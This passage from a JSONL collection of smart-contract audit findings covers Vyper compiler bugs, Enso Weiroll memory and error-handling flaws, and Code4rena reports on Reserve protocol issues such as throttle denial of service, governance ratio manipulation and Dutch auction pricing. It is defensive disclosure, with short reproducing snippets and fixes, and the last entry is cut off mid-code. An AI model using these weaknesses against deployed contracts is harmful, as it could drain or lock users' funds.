self.c\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.24 Function Declaration Checks if Return Type","body":"Annotation Is a Call Node\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nFunction from_FunctionDef of ContractFunctionT performs at line 320 of\nsemantics/types/function.py the following check:\n\n```\nelif isinstance(node.returns, (vy_ast.Name, vy_ast.Call, vy_ast.Subscript)):\nreturn_type = type_from_annotation(node.returns)\n```\nHowever, node.returns has no reason to be a Call. No type annotation is a Call.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.25 HashMap Variable Can Be Left-Hand of","severity":"info","body":"Assignment if Wrapped in Tuple\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nLine 249-251 of vyper/semantics/analysis/local.py, in visit_Assign, ensure that lhs of\nassignment cannot be a hashmap without a key. However this check is skipped if the hashmap is\nwrapped in a tuple.\n\nThe following code passes the check, and fails compilation during code generation, in a check\nconsidered maybe redundant.\n\n\n```\na: HashMap[address, uint8]\nb: HashMap[address, uint8]\nc: HashMap[address, (HashMap[address, uint8], HashMap[address,uint8])]\n@internal\ndef f():\n(self.a, self.b) = self.c[empty(address)]\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.26 Import Level of ImportFrom Ignored","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nThe python ImportFrom ast node defines a field level which specifies the level of a relative import.\nThis field is ignored in Vyper, so the following code is valid and compiles:\n\n```\nfrom ......................vyper.interfaces import ERC\n```\n```\nimplements: ERC\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.27 Inaccurate Comment on TYPE_T","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nClass TYPE_T is commented in semantics/types/base.py with\n\n```\n# A type type. Only used internally for builtins\n```\nThe comment is inaccurate, as TYPE_T is also used to wrap other callable types, such as events or\nstructs.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.28 Internal Functions Can Have Name Collision","body":"With Builtins\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-\n```\nIf a function visibility is @internal, it can share its name with a builtin, if the visibility is @external,\nhowever, a compilation error is raised. There is no valid reason it should be so, since both kind of\nfunctions populate the self namespace and should behave consistently.\n\nThis compiles:\n\n```\n@internal\ndef block():\npass\n```\nThis doesn't compile:\n\n\n```\n@external\ndef block():\npass\n```\nThe reason is that while skip_namespace_validation is set to true when calling\nself.add_member in visit_FunctionDef, which is used for internal and external functions, it\nis set to false when populating the interface of the module, which includes only external functions.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.29 Invalid DataLocation for Tuple ExprInfo","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-029\n```\nA Tuple is the only type of node whose ExprInfo is the aggregation of the individual ExprInfos of its\nnodes, so it is tricky to define it consistently. The ExprInfo of a Tuple containing a storage and an\nimmutable variable has DataLocation CODE. This could cause problems if the ExprInfo was to be used\nin code generation.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.30 Lhs of AugAssign Not Visited by","body":"_LocalExpressionVisitor\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-030\n```\n_LocalExpressionVisitor is a legacy class whose sole current purpose is to check that msg.data\nand address.code are correctly accessed in a builtin that can handle them. The left hand side of an\nAugAssign is not visited by _LocalExpressionVisitor, so the following passes the\n_validate_address_code_attribute() and _validate_msg_data_attribute() checks, and\ncauses a compiler panic:\n\n```\na: HashMap[Bytes[10], uint256]\n```\n```\n@external\ndef foo(a:uint256):\nself.a[msg.data] += 1\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.31 Note on PR 3167: Fix: Codegen for Function","severity":"info","body":"Calls as Argument in Builtin Functions\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-031\n```\nPR 3167 correctly fixes an issue where arguments of builtins would be included twice in the generated\ncode, resulting in reverts because of duplicated labels. The fix is implemented for builtins floor, ceil,\naddmod, mulmod, and as_wei_value\n\nArguments are now correctly evaluated and cached before being included in the intermediate\nrepresentation code.\n\n\nHowever, builtin functions ecadd and ecmul are still affected by the same bug. The following code does\nnot compile but should:\n\n```\n@external\ndef foo() -> (uint256[2]):\na: Foo = Foo(msg.sender)\n```\n```\nreturn ecmul(a.bar(), 2)\n```\n```\ninterface Foo:\ndef bar() -> uint256[2]: nonpayable\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.32 Pointless Assert","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-032\n```\nget_expr_info() in vyper.semantics.analysis.utils contains the assert:\n\n```\nassert t is info.typ.get_member(name, node)\n```\nSince t has just been defined as t = info.typ.get_member(name. node), and no mutating\noperation has occured, the assert will always pass.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.33 Positional Only Arguments Are Allowed but","severity":"info","body":"Ignored in Function Definitions\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-033\n```\nPython allows specifying positional only arguments in a function definitons, which are accessible through\nthe posonlyargs field of the arguments AST node. Since the arguments VyperNode does not sets\nposonlyargs as a _only_empty_fields, the field can be populated but is ignored.\n\nThe following code compiles:\n\n```\n@internal\ndef f(a:uint256,/): #this does not actually defines argument a\nreturn\n```\n```\n@external\ndef g():\nself.f() #f is called without arguments\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.34 RawRevert Should Be Set as Terminal Node","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-034\n```\n\nBuiltin raw_revert has field _is_terminus unset. _is_terminus specifies if the node can terminate\nthe branch of a function body which has a non empty return type. The evaluated function is left when\nraw_revert is called, so its _is_terminus attribute should be set to True, as is the case for\nSelfDestruct.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.35 Safety Check for Bytestring Classes Not","body":"Reacheable\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-035\n```\nFunction from_annotation in class semantics.types.bytestrings._BytestringT validates\nthat the bytestring type, such as String or Bytes, is not being used without a length specifier\n(String[5]). However the function from_annotation() of a type is not called in\ntype_from_annotation() if the type annotation is an ast.Name, so the check at line 126 of\nsemantics/types/bytestrings.py is not effective.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.36 Storage Location of Constants Set to","body":"Storage\n\n```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-036\n```\nIn visit_VariableDecl of vyper.semantics.analysis.module, the DataLocation of\nconstant variables is set to STORAGE. While this has no immediate consequences, since constants can't\nbe assigned, it could be misleading and generate problems in future code changes.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.37 Struct Creation Without Assignment Results","severity":"info","body":"in Cryptic Error Message\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-037\n```\nThe check at lines 512-519 of vyper/semantics/analysis/local.py should output an error\nmessage when builtins or structs are called without assignment, however the _id attribute of fn_type is\naccessed, which causes another exception to be thrown for TYPE_T(StructT), since they have no\n._id field.\n\nExample:\n\n```\nstruct A:\na:uint256\n@internal\ndef aaa():\nA({a:1})\n```","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.38 Tuple Node Input Does Not Work With","body":"Validate_Expected_Type\n\n```\nCorrectness Low Version 1\nCS-VYPER_JANUARY_2023-038\n```\nFunction validate_expected_type has a branch for the case when node is an instance of\nvy_ast.Tuple. However, it is not clear what the purpose of handling Tuple nodes is, since the\nexpected type has to be a dynamic or static array.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"5.39 VarInfo for self Not Constant","body":"```\nDesign Low Version 1\nCS-VYPER_JANUARY_2023-039\n```\nWhile self contains mutable variables, it would make sense that its VarInfo was set as constant. The\ncompilation of the following fails in code generation, while it could fail in type checking.\n\n```\n@external\ndef f():\nself = self\n```\n\n\nWe leverage this section to highlight further findings that are not necessarily issues. The mentioned\ntopics serve to clarify or support the report, but do not require an immediate modification inside the\nproject. Instead, they should raise awareness in order to improve the overall understanding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"6.1 Comments on PR 2974/3182","body":"Note Version 1\n\nThese PR refactor the type system, and unify the front-end and back-end type systems.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"6.2 Note on PR 3213: Fix: Constant Type","body":"Propagation to Avoid Type Shadowing\n\nNote Version 1\n\nPull Request 3213 correctly fixes an issue where the type inference for the iterator of for loops would\nresult in validating conflicting types.\n\nInstead of accessing the \"type\" metadata property of a node, which could be dirty with a provisional\ninvalid type, get_possible_types_from_node() now accesses the new \"known_type\" metadata\nproperty, which is only assigned during constant folding.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"6.3 Note on PR 3215: Raise Clearer Exception","severity":"info","body":"When Using a yet Undeclared Variable in a Type\n\nAnnotation\n\nNote Version 1\n\nThis PR correctly resolves a cryptic error message cause by undeclared variables during constant\nfolding.\n\nThe following line caused problems, when name was not in the namespace and self had not been\ndeclared yet (during constant folding):\n\n```\nif name not in self.namespace and name in self.namespace[\"self\"].typ.members:\n```\nThe rhs condition name in self.namespace[\"self\"].typ.members would raise an exception\nwhen evaluated, because self.namespace had no self member yet.\n\nNow the condition has been split in 3 conjunctions:\n\n```\nif (\nname not in self.namespace\nand \"self\" in self.namespace\nand name in self.namespace[\"self\"].typ.members\n):\n```\nWhen name is not in self.namespace, the condition \"self\" in self.namespace guards against\nraising accidentally when evaluating the 3rd conjunction.\n\n\nA more legible exception is raised immediately after the if body, when\nt = self.namespace[node.id] is evaluated, since self.namespace does not containt node.id.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"6.4 Note on Pull Request 3194: Fix Raise","body":"UNREACHABLE\n\nNote Version 1\n\nPR 3194 fixes a bug in code generation that would cause a raise UNREACHABLE statement to cause a\ncompiler panic. It is implemented correctly and the resulting code is correct. We noticed that in the\ngenerated code a STOP unreachable instruction is present after the INVALID instruction generated by\nthe raise statement.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} +{"title":"6.5 Note on Pull Request 3222: Fix: Folding of","body":"Bitwise Not Literals\n\nNote Version 1\n\nPR 3222 reimplements the binary inversion of literals during folding. The operation computes the 256 bits\nwide binary inverse, so that the result of the operation should always fits within uint256.","dataSource":{"name":"ChainSecurity/ChainSecurity_Vyper_January2023_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Vyper_January2023_audit.pdf"}} {"title":"5.1 Complexity of Commands Effect Evaluation","severity":"minor","body":"Design Low Version 1 Risk Accepted\n\nDue to the novelty and non-standard encoding of Weiroll, the end user will need to sign a transaction,\nwithout knowing full details about the execution consequences. Standard hardware and software wallets\nwon't be able to decode the content of the commands. As a result, users will need to perform\nblind-signing - signing without verifying the full transaction details. Phishing attacks can be performed on\nusers to trick them to sign commands that will impact the token balances in an undesired way. Users\nshould be notified about this risk and only sign transactions from trusted sources and ideally after careful\ninspection.\n\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 0\n```\n```\nHigh-Severity Findings 1\n```\n- Function writeOutputs Can Corrupt Memory Code Corrected\n\n```\nMedium-Severity Findings 4\n```\n- Assumptions on Output From Unsuccessful Call Code Corrected\n- Dynamic Variable Encoding Is Assumed to Be Correct Code Corrected\n- The Index Is Not Masked Code Corrected\n- Value for the Call Can Be Loaded From Wrong Memory Location Code Corrected\n\n```\nLow-Severity Findings 3\n```\n- IDX_USE_STATE Case Not Handled Inside Tuples and Arrays Code Corrected\n- Non-terminated Indices Fail Silently Code Corrected\n- Unbalanced Tuple Starts and Ends Cause Silent Failure Code Corrected","dataSource":{"name":"ChainSecurity/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf"}} {"title":"6.1 Function writeOutputs Can Corrupt Memory","severity":"major","body":"Correctness High Version 1 Code Corrected\n\nTo store the pointer of the return data the writeOutputs function performs a write to memory at the\nindex state + 32 + (idx & IDX_VALUE_MASK) * 32. However, a check that this location still\nbelongs to the state array of pointers is not performed. This effectively permits writing to locations in\nmemory that can contain other variables, including data of other state elements. The command\n(maliciously or accidentally) can trigger such writing and cause unexpected results.\n\nCode corrected:\n\nA check was introduced that verifies that idx & IDX_VALUE_MASK < state.length.","dataSource":{"name":"ChainSecurity/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf"}} {"title":"6.2 Assumptions on Output From Unsuccessful","body":"Call\n\nDesign Medium Version 1 Code Corrected\n\nUnsuccessful calls are assumed to revert with no output data, with output data of the type Panic() (\nbytes selector, empty payload), or with output data of the type Error(string) (4 bytes selector, 32\nbytes pointer, 32 bytes string size, string content).\n\nErrors can however have arbitrary signatures, which are up to the contract implementors to define.\n\n\nFor example, an error of type Error(uint256,uint256) will have its second integer interpreted as a\nstring length in the VM error handling, potentially causing a memory expansion that will consume all the\ngas, if the uint256 value is big enough.\n\nCode corrected:\n\nAdditional checks have been introduced to interpret the return data of the error as a string only when it is\nappropriate to do so.","dataSource":{"name":"ChainSecurity/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/01/Enso-Weiroll-smart-contract-audit-by-ChainSecurity.pdf"}} @@ -9912,6 +10103,36 @@ {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-llama-findings/blob/main/data/Rolezn-G.md).","dataSource":{"name":"code-423n4/2023-06-llama-findings","repo":"https://github.com/code-423n4/2023-06-llama-findings","url":"https://github.com/code-423n4/2023-06-llama-findings/issues/117"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-llama-findings/blob/main/data/minhquanym-Q.md).","dataSource":{"name":"code-423n4/2023-06-llama-findings","repo":"https://github.com/code-423n4/2023-06-llama-findings","url":"https://github.com/code-423n4/2023-06-llama-findings/issues/107"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-llama-findings/blob/main/data/matrix_0wl-Q.md).","dataSource":{"name":"code-423n4/2023-06-llama-findings","repo":"https://github.com/code-423n4/2023-06-llama-findings","url":"https://github.com/code-423n4/2023-06-llama-findings/issues/98"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-reserve-findings/blob/main/data/hihen-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/56"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-reserve-findings/blob/main/data/hihen-G.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/55"}} +{"title":"A more graceful way of handling the throttle","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/libraries/Throttle.sol#L53\n\n\n# Vulnerability details\n\n## Impact\nThrottle.useAvailable() in its current design reverts even if `amount` is greater than `available` by 1 wei. This could easily upset callers and dissuade them attempting to issue RToken again, making the protocol miss out opportunities on deepening the RToken liquidity while lessening revenue generations via collateral lending, holding yields etc. \n\n## Proof of Concept\nHere is a typical scenario:\n\n1. Alice, upon calling `RToken.issuanceAvailable()`, proceeds to calling [`issue()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L92) to issue the fully permissable RToken amount on the current basket:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L420-L423 \n\n```solidity\n /// @return {qRTok} The maximum issuance that can be performed in the current block\n function issuanceAvailable() external view returns (uint256) {\n return issuanceThrottle.currentlyAvailable(issuanceThrottle.hourlyLimit(totalSupply()));\n }\n```\n2. Alice's call ends up denied/frontrun inadvertently or maliciously by another user calling `issue()` at about the same time.\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/libraries/Throttle.sol#L52-L54\n\n```solidity\n if (amount > 0) {\n require(uint256(amount) <= available, \"supply change throttled\");\n available -= uint256(amount);\n```\n3. Steps 1 and 2 are repeated before Alice decides to give up and move on investing/supporting another similar platform.\n\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nHere's a sample code refactoring on `issueTo()`:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L119-L120\n\n```diff\n+ if (amount > issuanceAvailable()) amount = issuanceAvailable();\n+ require(amount > 0, \"Cannot redeem zero\"); // just in case issuanceAvailable() == 0\n issuanceThrottle.useAvailable(supply, int256(amount));\n redemptionThrottle.useAvailable(supply, -int256(amount));\n```\nThis will have the issue resolved while the caller is notified via the emitted event `Issuance` on the actual/revised `amount` issued. The identical require check on the first line of the function logic may be removed if need be. \n\nNote: Code refactoring on the redemption functions will be optionally unneeded though, considering not doing so will help retain the backing collaterals for revenue generation.\n\n\n\n\n## Assessed type\n\nDoS","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/52"}} +{"title":"Mising caller protection when issuing Rtoken","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L132\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Furnace.sol#L66-L91\n\n\n# Vulnerability details\n\n## Impact\nSimilar protection like it has been implemented in redemption is missing in [`issue()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L92) and [`issueTo()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L101). This could lead to caller sending in significantly higher quantities of ERC20 than intended that could be preceded by a huge ratio increase in Furnace.sol to ease out a prolonged accumulation of `lastPayoutBal`.\n\n## Proof of Concept\nSupposing full governance has been fully DAO enforced, here is the scenario:\n\n1. A proposal successfully executes to set the melt ratio to a very low if not near to zero value (`FIX_ZERO`) on line 87 such that the Rtoken sent to this contract is increasingly stuck and accumulated as `lastPayoutBal` on line 78:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Furnace.sol#L66-L91\n\n```solidity\n function melt() external notFrozen {\n if (uint48(block.timestamp) < uint64(lastPayout) + PERIOD) return;\n\n // # of whole periods that have passed since lastPayout\n uint48 numPeriods = uint48((block.timestamp) - lastPayout) / PERIOD;\n\n // Paying out the ratio r, N times, equals paying out the ratio (1 - (1-r)^N) 1 time.\n uint192 payoutRatio = FIX_ONE.minus(FIX_ONE.minus(ratio).powu(numPeriods));\n\n uint256 amount = payoutRatio.mulu_toUint(lastPayoutBal);\n\n lastPayout += numPeriods * PERIOD;\n78: lastPayoutBal = rToken.balanceOf(address(this)) - amount;\n if (amount > 0) rToken.melt(amount);\n }\n\n /// Ratio setting\n /// @custom:governance\n function setRatio(uint192 ratio_) public governance {\n // solhint-disable-next-line no-empty-blocks\n if (lastPayout > 0) try this.melt() {} catch {}\n87: require(ratio_ <= MAX_RATIO, \"invalid ratio\");\n // The ratio can safely be set to 0 to turn off payouts, though it is not recommended\n emit RatioSet(ratio, ratio_);\n ratio = ratio_;\n }\n``` \n2. After quite some time, another proposal successfully excecutes to set the melt ratio to a significantly higher value nearing to `FIX_ONE` so that the future `melt()` will typically have all Rtoken received from the distributor melted and burned without decreasing the basket needed.\n\n3. Users not paying attention to the timelock annoucement will all be caught off guard when attempting to issue RToken by paying a whole basket of collaterals at much higher rates (as indicated on line 132 due to a smaller denominator, `supply`, and correspondingly relates to `deposits` and `deposits[i]` on lines 136 and 148) with premium commensurate with the amount of RToken issued:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L131-L150\n\n```solidity\n uint192 amtBaskets = supply > 0\n132: ? basketsNeeded.muluDivu(amount, supply, CEIL)\n : _safeWrap(amount);\n emit Issuance(issuer, recipient, amount, amtBaskets);\n\n136: (address[] memory erc20s, uint256[] memory deposits) = basketHandler.quote(\n amtBaskets,\n CEIL\n );\n\n // == Interactions: Create RToken + transfer tokens to BackingManager ==\n _scaleUp(recipient, amtBaskets, supply);\n\n for (uint256 i = 0; i < erc20s.length; ++i) {\n IERC20Upgradeable(erc20s[i]).safeTransferFrom(\n issuer,\n address(backingManager),\n148: deposits[i]\n );\n }\n```\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider implementing `maxAmounts` logic in the issue functions pertaining to the sending of collaterals to the Backing Manager.\n\nIntroduce a sliding scale mechanism that only permits small incremental changes of melt ratio over time. This would make it more difficult for an attacker with high governance power to manipulate the ratio while also providing users with more predictability.\n\nConsider also impleting a lower bound require check to prevent the setting of zero or near to zero ratio that circumvents the intended purpose of raising the exchange rate of RToken to Collateral.\n\n\n\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/51"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-reserve-findings/blob/main/data/RaymondFam-G.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/50"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-reserve-findings/blob/main/data/RaymondFam-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/49"}} +{"title":"A Dutch trade could end up with an unintended lower closing price","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L160\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L46\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L81\n\n\n# Vulnerability details\n\n## Impact\n`notTradingPausedOrFrozen` that is turned on and off during an open Dutch trade could have the auction closed with a lower price depending on the timimg, leading to lesser capability to boost the Rtoken and/or stRSR exchange rates as well as a weakened recollaterization. \n\n## Proof of Concept\nHere's the scenario:\n\n1. A 30 minute Dutch trade is opened by the Revenue trader selling a suplus token for Rtoken.\n\n2. Shortly after the price begins to decrease linearly, Alice calls [`bid()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L146-L164). As can be seen in line 160 of the code block below, `settleTrade()` is externally called on the `origin`, RevenueTrader.sol in this case:\n\n```solidity\n function bid() external returns (uint256 amountIn) {\n require(bidder == address(0), \"bid already received\");\n\n // {qBuyTok}\n amountIn = bidAmount(uint48(block.timestamp)); // enforces auction ongoing\n\n // Transfer in buy tokens\n bidder = msg.sender;\n buy.safeTransferFrom(bidder, address(this), amountIn);\n\n // status must begin OPEN\n assert(status == TradeStatus.OPEN);\n\n // settle() via callback\n160: 